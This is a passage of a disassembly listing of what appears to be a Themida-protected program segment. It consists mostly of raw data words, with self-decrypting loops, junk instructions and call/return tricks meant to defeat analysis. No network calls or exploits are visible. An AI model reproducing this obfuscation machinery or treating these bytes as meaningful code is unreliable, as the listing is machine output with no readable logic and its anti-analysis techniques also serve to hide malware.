		dd 8EBFEFD2h, 0AFBC1C15h, 42391C66h, 0ED240093h, 0ACA99CE0h
		dd 0FB5A6FA2h, 12200F53h, 0F82F3702h, 74E1FE51h, 0C392A7DAh
		dd 0F977A78Ah, 677428F2h, 0FA0A3A1Dh, 20F28F2h,	0D68275B9h
		dd 9EC347Eh, 28F2F9D9h,	2498C9D6h, 0B2D07F1Ah, 3E7AC8A0h
		dd 4071B1A0h, 0D6202E27h, 267BAB8Eh, 738028F3h,	8BCADF42h
		dd 0D76779C3h, 0E06CE86Ch, 24951CCh, 5189FBEEh,	8BBCE51Bh
		dd 78DCC317h, 0C3D90D4h, 3E9h, 3A69EE00h, 93D781D9h, 5599B5A0h
		dd 185CF462h, 0DC203225h, 9CE06AE9h, 5CA0AAA9h,	2165EF69h
		dd 0E226262Eh, 0A8EC6AEFh, 4EC816Ah, 89000000h,	89512434h
		dd 4C181E1h, 83000000h,	0C8704E9h, 0C895C24h, 39936824h
		dd 2C890000h, 0FBBE5624h, 8341B419h, 0F681FFC6h, 0BD61945h
		dd 8106EEC1h, 0C28CB0F6h, 5EF18906h, 242C8B54h,	6804C483h
		dd 3C49h, 0BB241C89h, 8, 0B89EB01h, 242C8B5Bh, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 592434FFh, 4C481h, 6EE90000h
		dd 75FFFA4Eh
		db 0F8h, 81h
; ---------------------------------------------------------------------------


loc_5F34DA:				; CODE XREF: Themida_:loc_5F28F2j
		mov	eax, 7EB0FD2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 80h
		dd 0AA7E9D26h, 611F8113h, 59626496h, 5B22BDE5h,	0C04726FFh
		dd 0C10144AAh, 0AC3A14B8h, 972C9470h, 3448C42Ah, 8F30A0AAh
		dd 0C11A35DAh, 61650547h, 462D2DBDh, 60269FAh, 4611614Dh
		dd 0E976BCCDh, 25h, 7C59F37Ah, 8 dup(0)
		dd 4DFE900h, 0BB680000h, 0E907EB11h, 0FFF96D2Bh, 0EB124E68h
		dd 6D21E907h, 0F668FFF9h, 0E907EB13h, 0FFF96D17h, 0AD41633Bh
		dd 0A9EBE97h, 6AFE18F4h, 0CD617554h, 2CC0DCB7h,	0D9B4AD53h
		dd 391329BDh, 9371871Bh, 0F6D3E97Dh, 0E7974ADEh, 0A9B0956Ah
		dd 6DFC4113h, 0B9923092h, 0A0492E99h, 9C051442h, 7995708Ah
		dd 7E967341h, 0EAC4CBEAh, 8B9F1D9Ah, 84ED13A6h,	8CDC9F4Ch
		dd 5A6B13A6h, 0E58D722Ah, 594AD877h, 6A000003h,	63E0EFCCh
		dd 13A6809Ch, 4078D13Ah, 217A9872h, 0F4923A0Fh,	589BFB1Bh
		dd 0D9D187E1h, 64A2CDDFh, 0ADFDB1DEh, 0A6836230h, 0BEC73013h
		dd 0C3FDB1B3h, 866200EEh, 0D99346Ch, 0DF021434h, 31AEFEB0h
		dd 16EF03D3h, 290038A1h, 7BF84866h, 1E8B3F5Ch, 0D371C12Ah
		dd 8A3DBF9h, 18B618F6h,	0F40E203Eh, 556BFF17h, 0E30C6078h
		dd 745CEF75h, 358AE34h,	39110000h, 946D8317h, 0EECAE074h
		dd 4B2A40D4h, 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h
		dd 0BF536947h, 20B4CCA9h, 0BB40BD6Dh, 1713A9B1h, 424D43D2h
		dd 7D9F1C6Ch, 1313A9B0h, 0B14136B3h, 910E13A9h,	13A9B1EAh
		dd 45AEFF68h, 9C3A9CECh, 13BA1BEh
dword_5F3698	dd 64257876h, 8AA27F0Bh, 67835E78h, 805BF9D3h, 7F912C64h
					; DATA XREF: Themida_:0058261Co
		dd 366E8A65h, 56830989h, 0E3BE5CECh, 94F48FC7h,	98D55EB4h
		dd 163042F5h, 0EE101A39h, 5115D73Dh, 0A955A4F8h, 0D6166A15h
		dd 2C550h, 0AACCA400h, 7270016h, 67815D73h, 0CADEBDD3h
		dd 29452036h, 1D36BC95h, 7C922642h, 0DAF084A2h,	3C52E6FCh
		dd 0B3475Fh, 0B22CD350h, 65AA13A9h, 75424DD6h, 42A003F8h
		dd 9DB99414h, 3A8AE34Ch, 0A9B063BDh, 53D03213h,	13A9B1ACh
		dd 0D0AFC12Ah, 0F9822F67h, 1A13A9B1h, 1CEA2240h, 8DF1293Dh
		dd 0C41C5410h, 34CBF3B3h, 0A1D8710Ch, 1E4h, 1DE25FC1h
		dd 0B913A9B9h, 56693E50h, 5B296179h, 0B416667Eh, 0E71F3B16h
		dd 0A01AE14Ch, 0A27D1442h, 0BACC3586h, 4320BE98h, 99F6192Bh
		dd 0C563C515h, 6742CEEAh, 4E40394Bh, 513A6B3h, 69974A93h
		dd 0A6F64B24h, 0A69A5229h, 85970013h, 142E0AA6h, 25D683BBh
		dd 0A213A69Ah, 56A9D591h, 7FD877E3h, 3Fh, 0E22019Fh, 209227FCh
		dd 94A69C6Dh, 98AFD9F1h, 77C8C35Ah, 0A6E90C1Eh,	753BB808h
		dd 4313A67Ah, 7210A2DAh, 736C7E94h, 13A67C88h, 46762E3Fh
		dd 0D87735B9h, 0E91Eh, 0C6A03E00h, 56C196A8h, 5B296179h
		dd 9A2C6480h, 0F5071FFCh, 0AEE6FEDBh, 0DCB803E0h, 7B1969C2h
		dd 5173859Fh, 42A47D5Ch, 0C89C0E14h, 0F78C09A1h, 63144287h
		dd 9EFE9AFAh, 9E65E232h, 3C1442C8h, 0CAA7C1D3h,	90FF1EB2h
		dd 5230CE1Eh, 0BBD3B03Ch, 0F8D6E883h, 0A42FDD7Bh, 0F242AB13h
		dd 0F06C1390h, 0FDB13A5h, 3680BEF5h, 3042ABFCh,	0BDD9B452h
		dd 0D9F3CF6Dh, 0DFF5D3A1h, 3C527486h, 84C83E61h, 0A5EF323Dh
		dd 64C4AD7Ah, 48D42E0Ch, 7E19516Dh, 0BA32D125h,	0D4D6A19h
		dd 11D87h, 52744C00h, 0AFCFA8BEh, 0F29051Bh, 7286657Bh
		dd 0D1EDC8DEh, 0C59E643Dh, 243ACEEAh, 82982C4Ah, 0E4FA8EA4h
		dd 0A85BEF07h, 0B3847BF8h, 0D5213A9h, 5F7B567Eh, 0C9D8B5CBh
		dd 42A0B74Ch, 61BA2314h, 7F957311h, 3A1D031Fh, 0C9DB4D67h
		dd 7956D6A7h, 0A016ED6Ah, 2BB51442h, 7E9E8E22h,	0F4CD69BAh
		dd 0EA227BD4h, 93273F1Ch, 0CAFF47B9h, 2D9F686h,	0ECC2CDF0h
		dd 0CF0F2A9Ch, 0D8385630h, 64F06240h, 9D387086h, 0A830AD8Bh
		dd 0EA13A6BDh, 0B8933181h, 6813089Ch, 0AB13A602h, 0C22B6CEh
		dd 27C51531h, 5EF9314Bh, 7300864Ch, 8F000000h, 1C6C424Dh
		dd 24DB58BAh, 0B21442A0h, 203E3749h, 0AE13A9B0h, 623F0D45h
		dd 0B121D653h, 44AD13A9h, 644157EBh, 6D5CEA45h,	94ED4313h
		dd 9E65E244h, 3C13A910h, 4EFBC1D3h, 681BF600h, 95C480FDh
		dd 37C1B633h, 248D97DCh, 31BF812h, 647C596Fh, 22FC9A2Ch
		dd 1F31CC04h, 3DF2605h,	0A15890E9h, 0C6A39ACAh,	27041AAEh
		dd 351D70Fh, 0E0000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h
		dd 87612F67h, 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h
		dd 9B74427Ah, 68EE437Bh, 4F34h,	68240489h, 2DB0h, 68241C89h
		dd 679h, 50240489h, 7D6043B8h, 47E4355Ch, 662D34E3h, 254DDB06h
		dd 56E565C3h, 2A31A435h, 0C6895615h, 585EF389h,	24048B54h
		dd 5204C483h, 8BAh, 89C20100h, 24148B1Ah, 0FF04C483h, 81582434h
		dd 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFF9685Bh, 69855C3Eh
		dd 1538B82Dh, 0C50307EBh, 0B63AE0FFh, 54F339DBh, 14267C59h
		dd 8E653560h, 74F25AFh,	15D35765h, 0EA384A66h, 0D3325452h
		dd 18973EBDh, 0B42A246Eh, 0BE87DDBh, 0C7000000h, 0B054E63Dh
		dd 91E2D64Ah, 5BF5E84Ch, 0EE9h,	3E32A900h, 25CCEAACh, 0F747CEA4h
		dd 811A4D82h, 6199C3h, 0B70F5000h, 40685ED0h, 66000018h
		dd 59C286BAh, 9E960h, 0BEA50000h, 0C6BC640Ch, 81DBF0BAh
		dd 0C9AFA3CEh, 33FF6158h, 0CEF6CE81h, 81581BDCh, 0B3FF74C6h
		dd 0C0C08179h, 81134BB7h, 0C4BFC6C0h, 0F18B6666h, 0AD66E881h
		dd 0C78149A8h, 6E278FB4h, 0CA816650h, 38F000Bh,	6E8h, 0F00BA200h
		dd 5F9FF202h, 6604EB83h, 0E981F98Bh, 1,	0FFB0850Fh, 0FB8BFFFFh
		dd 17088D8Dh, 6A07EBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 2FA5F7C3h, 68E0Fh, 0C8810000h, 6C93D61Dh
		dd 1B718D89h, 8BF907E4h, 0E42C51B5h, 0A185C707h, 0B407E42Dh
		dd 0C700006Ah, 0E422B985h, 7, 0D5B5FF00h, 0FF07E402h, 0E4306195h
		dd 53006A07h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 9CB46D18h, 0C08166A2h, 0C7811784h, 96860C2h
		dd 95FF006Ah, 7E40E41h,	59EBC08Bh, 3330B548h, 5C448089h
		dd 86F72B8Bh, 0C8D1DFEBh, 50369DA8h, 89B17D99h,	0FC86FE46h
		dd 80C6F273h, 0C9CCCEDBh, 36B25B43h, 64432DFh, 9952C624h
		dd 2E95F5CFh, 8AFB16Bh,	7A61EDFCh, 0D4B4A57Ah, 0F7A88248h
		dd 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h,	0A6C2E97Eh
		dd 24E944h, 32B80000h, 35B0h, 7	dup(0)
		dd 2DE90000h, 0EA000005h, 465CF012h, 0A3B94D6Dh, 319ADC7h
		dd 667C1024h, 2DB6F8Bh,	6C8863FCh, 0CAE8C2D8h, 2C422036h
		dd 8DA58298h, 199646F9h, 13A9B762h, 921CABF0h, 0A0CCB330h
		dd 218A1442h, 18F50Fh, 0BB9836C8h, 41799570h, 213B4DA6h
		dd 80962A46h, 85538BA3h, 0C65890A8h, 30F58F54h,	75874227h
		dd 2A62825Bh, 0C09608C6h, 6E3EE530h, 2D59F608h,	0A93D5532h
		dd 385831CFh, 10946BE8h, 0D9421442h, 0B9CFADC7h, 1B310F25h
		dd 1D3B15E3h, 2F572EE5h, 0EC3C5230h, 4923744Eh,	0FF58F32Bh
		dd 5FDC2CC7h, 14421098h, 99BBCD36h, 3E8EA683h, 10985FDCh
		dd 0CD361442h, 0B648F5BBh, 0E1144210h, 0E4B2EA06h, 8962EE08h
		dd 2BF23169h, 7835377Bh, 616F90CCh, 5968E05Bh, 88000000h
		dd 1CD2A926h, 17801442h, 8395AF8Bh, 617956AEh, 20F99729h
		dd 8F5EE00h, 191442A0h,	8B74285Ch, 4CE05C11h, 0Ah, 0AF7AFA6Ch
		dd 4FE98167h, 7D56683Dh, 7E57255Dh, 6D13C657h, 0B64028Ah
		dd 122605D3h, 4DF976DAh, 45D9F9D2h, 0A63A522Fh,	37532ECCh
		dd 7D5264FFh, 0FF17F492h, 1A2CC7h, 3D10925h, 1CBA0A2Ah
		dd 0C6C7273Fh, 65B84DC3h, 0AC7A4052h, 0B17FB7CFh, 0B583BBD5h
		dd 0E984BCDCh, 561A4AC7h, 0D8B2505Ah, 5B0BA8BAh, 8BA78220h
		dd 4E2CB853h, 310C2638h, 8E6B8115h, 0AA882676h,	0B08E5C94h
		dd 692F419Ah, 5FBA65D7h, 0A8FCAE7Dh, 53A07C96h,	0CD055E76h
		dd 3A622233h, 0E05B6BF5h, 4F6945E3h, 719E3Dh, 56C70000h
		dd 59275F7Bh, 0C72B637Dh, 48231A4Ah, 0A782982Ch, 7607E58h
		dd 0E2201CFh, 7B2B3CD6h, 5C0FEC43h, 6C29E0h, 0E7490000h
		dd 42AA956Ah, 0C7A54114h, 85DE79B1h, 7B569E73h,	3395275Fh
		dd 42A0C1B6h, 12248D14h, 0CC041AF8h, 0CD0525FEh, 0D00824FFh
		dd 100C2602h, 0B4531F47h, 0E8847EF0h, 55706379h, 5C4079F5h
		dd 0AABC9104h, 0BE6590Dh, 568A5BEFh, 364C2A7Dh,	0D20A63FEh
		dd 42A05B25h, 0DB8B4814h, 0D2502A0h, 4D283AD5h,	0E05C11B2h
		dd 123h, 30924C00h, 42A0CCB3h, 0F218A14h, 0C7FF19F5h, 0CC041CF9h
		dd 17063E15h, 2B1A1A3Bh, 0A9D91B47h, 0F29DBC50h, 0B9EF6CBCh
		dd 7713A60Fh, 0D244D60Eh, 75C52528h, 0D3EDFF19h, 0F08EDEF6h
		dd 9671FD11h, 6C46687Ah, 0C9DBEFCEh, 6ABAD2AFh,	0C5D7EFCCh
		dd 0B4FB6DFFh, 0AD8CA3B7h, 516946D2h, 736C7E19h, 13A6798Ah
		dd 50CF77FAh, 0B1C75B73h, 0B684BCD4h, 0BB89C1D9h, 0C18FC7DDh
		dd 294CCE4h, 0A679FE85h, 0F6F35C13h, 3F3B772Fh,	71B89735h
		dd 0E71F7898h, 0E99D3A4Ch, 714E9976h, 956C0059h, 0D877386Ah
		dd 97B38E2Ch, 13B2C45Fh, 160h, 6C424D3Ch, 0BEFD9F1Ch, 2A9313A6h
		dd 81FE60F2h, 13A6BFFAh, 0C3DDEF58h, 0A6BE9BE6h, 0F146CC6Eh
		dd 4A109CD7h, 0EE0498F1h, 0F3C1F911h, 8F690716h, 40710671h
		dd 74DD13A6h, 3B15E31Bh, 3A17E51Dh, 8609EA22h, 0CD9692DEh
		dd 0AAC9A699h, 0DB0201B5h, 47AFD82Ah, 9402E458h, 0B6D6AF3Bh
		dd 0DF2C95Dh, 0CAD87795h, 89h, 73444DF3h, 42A001F6h, 0F06DCD14h
		dd 1442A00Bh, 0AC055EC7h, 7D5CFA5Ch, 795E5769h,	156BBD5Fh
		dd 70E274ACh, 23013E54h, 0DA3AD50Dh, 8CCA1A1Dh,	1159194Eh
		dd 2720328Bh, 94429850h, 0A0DB8B52h, 985FDC3Eh,	36944298h
		dd 989D62CDh, 0D0399442h, 0B8F69BBEh, 4548F668h, 4FD3F52Dh
		dd 0FDE25F3Dh, 99EBBDF3h, 4525EA29h, 425833C8h,	0D6369F14h
		dd 94ED0741h, 7E3200h, 46B80000h, 83AF222Ah, 7C55E190h
		dd 7789245Ch, 6C424DA2h, 0B9F59F1Ch, 329B13A6h,	7C0380E2h
		dd 0DA13A6BAh, 0D6E51171h, 0CF1CCF00h, 4C29F7BDh, 0AD8AA034h
		dd 30B05D95h, 3413A601h, 0D9F9D270h, 37A2AC7h, 5B7A0E26h
		dd 0C82A7A34h, 0FE364C2Ah, 0CC585163h, 96144D15h, 4A27F52Dh
		dd 6C43FA32h, 0A40F8138h, 0C154BBA8h, 0FA95B8CAh, 94F264B4h
		dd 66A671EAh, 1B987688h, 1C66E20Bh, 8B5CF059h, 1C6C424Dh
		dd 0A9B7B79Fh, 3C74DD13h, 0E579916Eh, 75936D0Bh, 7690A23Dh
		dd 9C498199h, 21F29749h, 0A49BCB48h, 51BAFC7h, 46D81028h
		dd 0B65815D4h, 77F4107Fh, 2E04F080h, 7A8CE54Eh,	356D8160h
		dd 39718B67h, 6841906Bh, 0B7EF48h, 0C0357D29h, 9CFEBDE9h
		dd 4F0581Fh, 7B8DF62Eh,	1C6C8461h, 538B9F7Eh, 1A5358B8h
		dd 0D8C9E0FCh, 0B18EA4C6h, 0E5E25A2h, 93FC2E04h, 37C023Ah
		dd 0B000000h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
		dd 88633169h, 8B66346Ch, 8A69376Fh, 94703E76h, 9B74427Ah
		dd 83EE437Bh, 1C8904ECh, 5E406824h, 0C890000h, 447F6824h
		dd 1C890000h, 94BA5224h, 5207EB17h, 8B545A59h, 0C481241Ch
		dd 4, 1B5668h, 240C8900h, 0FF08438Fh, 835B2434h, 34FF04C4h
		dd 0C4835924h, 613DE904h, 0FB82FFF9h, 0EB1C78B8h, 0FFC50307h
		dd 0D021FDE0h, 866B7B52h, 0DD3AF077h, 231B1209h, 0BF240B3Eh
		dd 687A003Bh, 935E6703h, 6B141A02h, 0A4E2A510h,	701C141Fh
		dd 6123D62Ah, 3FC45Dh, 1E919443h, 0A594E112h, 6B516D7Eh
		dd 9DE38334h, 0B315F71Fh, 0FCF04E0Fh, 0D28D8D56h, 6A07EB1Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0C7ABC353h, 8166C3F8h, 0F57D8E2h,	8D89D8BFh
		dd 7E41B71h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 15h,	34C35141h, 85C7F8A3h, 7E42DA1h,	5B80h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0DAC35545h, 0C76A38DBh
		dd 0E422B985h, 7, 11E900h, 863E0000h, 2915B93Ch, 0DA2A9865h
		dd 6CB4FD50h, 0B8873931h, 5593A320h, 0E15B5FFh,	816607E4h
		dd 89F787F2h, 0E43171B5h, 6195FF07h, 0F07E430h,	6ADBB7h
		dd 0E4195FFh
		db 0E4h
; ---------------------------------------------------------------------------


loc_5F425D:				; DATA XREF: Themida_:00584A84o
		pop	es
		mov	eax, eax
		jmp	short loc_5F42C0
; ---------------------------------------------------------------------------
		dw 30Ch
		dd 6705B597h, 0F3A68B49h, 8DB98452h, 4E6EE657h,	0C2BC00FAh
		dd 0DF979DFBh, 0E5CE52EDh, 51A59968h, 0F7625DE4h, 4DC37C37h
		dd 64DE0831h, 89344936h, 0D7130203h, 7CF0C5EAh,	0EC157A4Ah
		dd 2F3BAA72h, 6CBB1A85h, 80141FCEh, 0A80D5319h,	0F4BA0268h
		dd 267E44EAh, 327264DAh, 0FA4F9659h
; ---------------------------------------------------------------------------


loc_5F42C0:				; CODE XREF: Themida_:005F4260j
		call	near ptr loc_5F42CD+1
		push	edx
		mov	edi, 2595528Ah
		shr	dword ptr [esi], cl


loc_5F42CD:				; CODE XREF: Themida_:loc_5F42C0p
		mov	ecx, 1858D29h
		in	al, 7		; DMA controller, 8237A-5.
					; channel 3 current word count
		pop	esi
		sub	[ebp+7E41CC9h],	eax
		add	esi, 7180h
		mov	[ebp+7E4091Dh],	edi
		xor	edx, edx


loc_5F42E9:				; CODE XREF: Themida_:005F435Dj
		mov	ebx, [esi+edx]
		jno	loc_5F42F7
		xor	ax, 0E31Fh


loc_5F42F7:				; CODE XREF: Themida_:005F42ECj
		xor	ebx, 5F464456h
		add	ebx, 7182D1AAh
		mov	ecx, [ebp+7E42D59h]
		xor	ebx, 14F510E7h
		mov	[ebp+7E422F5h],	eax
		mov	[esi+edx], ebx
		mov	di, 2A6Eh
		and	ecx, 54DBED2Dh
		sub	edx, 4
		jmp	loc_5F4337
; ---------------------------------------------------------------------------
		dw 8083h
		dd 0EB6B18FEh, 0B96020C2h
		db 0B1h, 0Dh, 2Eh
; ---------------------------------------------------------------------------


loc_5F4337:				; CODE XREF: Themida_:005F4325j
		cmp	edx, 0FFFF8F2Ch
		jnz	loc_5F4359
		mov	[ebp+7E41661h],	ecx
		jmp	loc_5F4375
; ---------------------------------------------------------------------------
		dw 787Dh
		dd 80AB6807h, 589B2216h
		db 79h
; ---------------------------------------------------------------------------


loc_5F4359:				; CODE XREF: Themida_:005F433Dj
		push	eax
		mov	al, 32h
		pop	ecx
		jmp	loc_5F42E9
; ---------------------------------------------------------------------------
		dw 5853h
		dd 46364B41h, 61676DDDh, 0C3754C6Ch, 98E1694h
; ---------------------------------------------------------------------------
		wait


loc_5F4375:				; CODE XREF: Themida_:005F4349j
		call	near ptr sub_5F4388
		retf
; ---------------------------------------------------------------------------
		lahf
		cwde
		test	[edi-8], cl
		cmp	eax, [ebp+35h]
		pop	ecx
		xlat
		and	[edi], ch
		nop

; =============== S U B	R O U T	I N E =======================================



sub_5F4388	proc far		; CODE XREF: Themida_:loc_5F4375p
		sbb	ax, 0B5B0h
		pop	edi
		push	edx
		jnz	loc_5F439B
		xor	edx, 69D9ACFCh


loc_5F439B:				; CODE XREF: sub_5F4388+7j
		pop	eax
		add	edi, 6220h
		add	dx, 0F4AAh
		xor	ebx, ebx
		mov	cl, 0A4h


loc_5F43AB:				; CODE XREF: sub_5F4388+A4j
		push	dword ptr [ebx+edi]
		mov	eax, [ebp+7E41F21h]
		pop	esi
		stc
		sub	esi, 535FD9AFh
		mov	ax, bx
		add	esi, 3EBEB056h
		cmc
		xor	esi, 15FC95EEh
		mov	eax, [ebp+7E42F71h]
		push	esi
		pusha
		jmp	loc_5F43E5
; ---------------------------------------------------------------------------
		dec	ebx
		cld
		inc	esi
		retf
; ---------------------------------------------------------------------------
		db 62h,	0A5h, 0ACh
; ---------------------------------------------------------------------------
		sti
		push	edi
		aam	0CDh
		pop	ebp


loc_5F43E5:				; CODE XREF: sub_5F4388+4Cj
		mov	cx, 8B1h
		popa
		pop	dword ptr [edi+ebx]
		jmp	loc_5F4405
; ---------------------------------------------------------------------------
		shr	byte ptr [edx+3458F021h], 0Eh
		or	[ebx], ebx
		mov	edi, [eax-6Bh]
		xor	ebx, [eax+ebp*2-5Ah]
		inc	edx
		call	edx


loc_5F4405:				; CODE XREF: sub_5F4388+65j
		or	edx, 51EDD1FBh
		sub	ebx, 176BD4EBh
		jl	loc_5F441A
		movzx	edx, ax


loc_5F441A:				; CODE XREF: sub_5F4388+89j
		add	ebx, 176BD4E7h
		sub	eax, [ebp+7E414DDh]
		cmp	ebx, 0FFFF9EACh
		jnz	loc_5F43AB
		jmp	loc_5F444A
; ---------------------------------------------------------------------------
		db 0F2h
		dd 0D1E09FA3h, 2733A64Bh, 0C5FC20CEh, 0E00F04D2h
		db 61h,	0B7h
; ---------------------------------------------------------------------------


loc_5F444A:				; CODE XREF: sub_5F4388+AAj
		lea	ecx, [ebp+7EB2072h]
		mov	ebx, 753DE8D8h
		mov	[ebp+7E41B71h],	ecx
		push	0
		push	edx
		call	sub_5F4466
		and	[edx-3Dh], bl
sub_5F4388	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F4466	proc near		; CODE XREF: sub_5F4388+D6p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_5F4466	endp

; ---------------------------------------------------------------------------
		dw 0BB1h
		dd 29C55D59h, 85C7CFF5h, 7E42DA1h, 5808h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 17h, 0D1C35646h, 0F9A380BEh
		dd 0FD8D9BEh, 0B985C727h, 7E422h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 47A5C356h, 12C9858Bh, 0B5FF07E4h, 7E42BF1h, 0E3D950Bh
		dd 95FF07E4h, 7E43061h,	8B08B660h, 0E42241BDh, 6A6107h
		dd 0E4195FFh, 0C08B07E4h, 0F0161AEBh, 717052A7h, 568E2D5Dh
		dd 53856EBFh, 51A10BF9h, 0EE2B14E8h, 6530176Fh,	21628D8Dh
		dd 6A07EBh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
		dd 50400000h, 896564C3h, 0E41B718Dh, 57006A07h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0DEA71C28h
		dd 0DC8C2C49h, 68A0Fh, 0BD890000h, 7E407BDh, 2DA185C7h
		dd 5CC007E4h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F1ABF7C3h, 2E96C670h, 85C7D166h
		dd 7E422B9h, 0
; ---------------------------------------------------------------------------
		push	edx
		mov	di, 9CC8h
		pop	ebx
		push	dword ptr [ebp+7E41581h]
		push	0
		push	eax
		call	sub_5F45C3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F45C3	proc near		; CODE XREF: Themida_:005F45BBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_5F45C3	endp

; ---------------------------------------------------------------------------
		pushf
		call	dword ptr [ebp+7E43061h]
		jnp	loc_5F45E6
		sub	[ebp+7E42095h],	eax


loc_5F45E6:				; CODE XREF: Themida_:005F45DAj
		push	0
		call	dword ptr [ebp+7E40E41h]
		mov	eax, eax
		jmp	short loc_5F466E
; ---------------------------------------------------------------------------
		dw 84FAh
		dd 5927D4A1h, 83A3B6F1h, 0E6DAD80Dh, 0C4FE940Bh, 2BE909FCh
		dd 76E00EADh, 99283625h, 19E5F9E5h, 8E1DB34Eh, 1B4B94C6h
		dd 9EEB779Dh, 0EE6119CEh, 1C8ED385h, 9EC8F72Dh,	5899C50Dh
		dd 44556317h, 47F39113h, 0B3AC7D82h, 928BA51Bh,	0A169A1B3h
		dd 0FCDB5EC7h, 304CD976h, 0A731D200h, 0C1F284DDh, 0FF02776Eh
		dd 0ABD99F92h, 0E935D583h, 935A2C8Fh, 1CD3F37Dh, 87CAE560h
		db 98h,	0DCh
; ---------------------------------------------------------------------------


loc_5F466E:				; CODE XREF: Themida_:005F45F0j
		lea	ecx, [ebp+7EB22D8h]
		push	0
		push	edx
		call	sub_5F467F
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F467F	proc near		; CODE XREF: Themida_:005F4677p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F467F	endp

; ---------------------------------------------------------------------------
		db 73h
		dd 0FBD4A51h, 8D89F7B7h, 7E41B71h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 17h, 0AC35242h, 6081643Fh, 0BADFB70Fh
		dd 3EC6698Bh, 0AD958B61h, 0C707E416h, 0E42DA185h, 722C07h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 76A0668Fh, 0D58080E5h, 22B985C7h, 7E4h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 1298BDC3h, 0FF3F4923h, 0E41D5DB5h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 995D45h, 8D01AAE5h, 7E4180Dh, 306195FFh, 958907E4h
		dd 7E42245h, 95FF006Ah
		db 41h,	0Eh, 0E4h
; ---------------------------------------------------------------------------


loc_5F4763:				; DATA XREF: Themida_:00583C98o
		pop	es
		mov	eax, eax
		jmp	short loc_5F47C3
; ---------------------------------------------------------------------------
		dd 5D94C0E8h, 4C35F612h, 0D2D8D54Ch, 0E6AD53B9h, 74CE5304h
		dd 4E0BD00Fh, 12B68E4Dh, 0CF60E681h, 60BAD6D2h,	95032A53h
		dd 0F63DD78Ch, 3CDB9E6Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F47CD


loc_5F4798:				; CODE XREF: sub_5F47CD+7j
		cmp	al, 8Fh
		fnstcw	word ptr [ebx+5Ch]
		nop
		xlat


loc_5F479F:				; CODE XREF: sub_5F47CD-23j
		mov	eax, ds:82008065h
		xor	[esi-1FDDB266h], ah
		jp	short loc_5F479F
		out	0B2h, al	; Interrupt Controller #2, 8259A
		ror	dword ptr ds:723A1628h,	cl
		cmp	[ebx-716F6236h], bh
		mov	ds:250583DBh, eax
; END OF FUNCTION CHUNK	FOR sub_5F47CD
; ---------------------------------------------------------------------------
		db 3
		db 0BEh, 0C2h, 75h
; ---------------------------------------------------------------------------


loc_5F47C3:				; CODE XREF: Themida_:005F4766j
		call	sub_5F47CD
		add	al, [edx-3Dh]
		jnp	short loc_5F47DB

; =============== S U B	R O U T	I N E =======================================



sub_5F47CD	proc near		; CODE XREF: Themida_:loc_5F47C3p

; FUNCTION CHUNK AT 005F4798 SIZE 00000027 BYTES

		call	near ptr loc_5F47DB+3
		cmp	ebp, ecx
		jo	short loc_5F4798
		cmpsd
		aam	1Dh
		stc
		in	eax, dx


loc_5F47DB:				; CODE XREF: Themida_:005F47CBj
					; sub_5F47CDp
		mov	esp, 0BE995B9h
sub_5F47CD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dd 8000000h, 0F9B3EA7Dh, 873FE3ABh, 5A597577h, 0C281F18Bh
		dd 75B7h, 2BFA8B66h, 0E38160C0h, 3C47507Dh, 255B58Bh, 8B6107E4h
		dd 0EB81021Ch, 61DDF62Bh, 21C5BD8Bh, 0EB8107E4h, 4A197CA6h
		dd 81ADE180h, 39F893EBh, 32F1817Ah, 8940A1C4h, 0B58B021Ch
		dd 7E41F8Dh, 0ADA4B966h, 8B04E883h, 10F881F9h, 0FFFFF8Bh
		dd 1E85h, 21BD2900h, 0E907E423h, 3Bh, 0DC27E18Eh, 0A5B2584Eh
		dd 55E297Ch, 7E3C7D92h,	0E91B04EEh, 14h, 92F366F0h, 5FE9256Bh
		dd 1C21271h, 0F2230DE4h, 329B6C16h, 0FFFF82E9h,	0D23DDBFFh
		dd 1CDDAF2Ch, 8DD99A4Ah, 0EB24CD8Dh, 9F26BE07h,	8D896799h
		dd 7E41B71h, 95D8D89h, 85C707E4h, 7E42DA1h, 71ECh, 0C6E0F8BFh
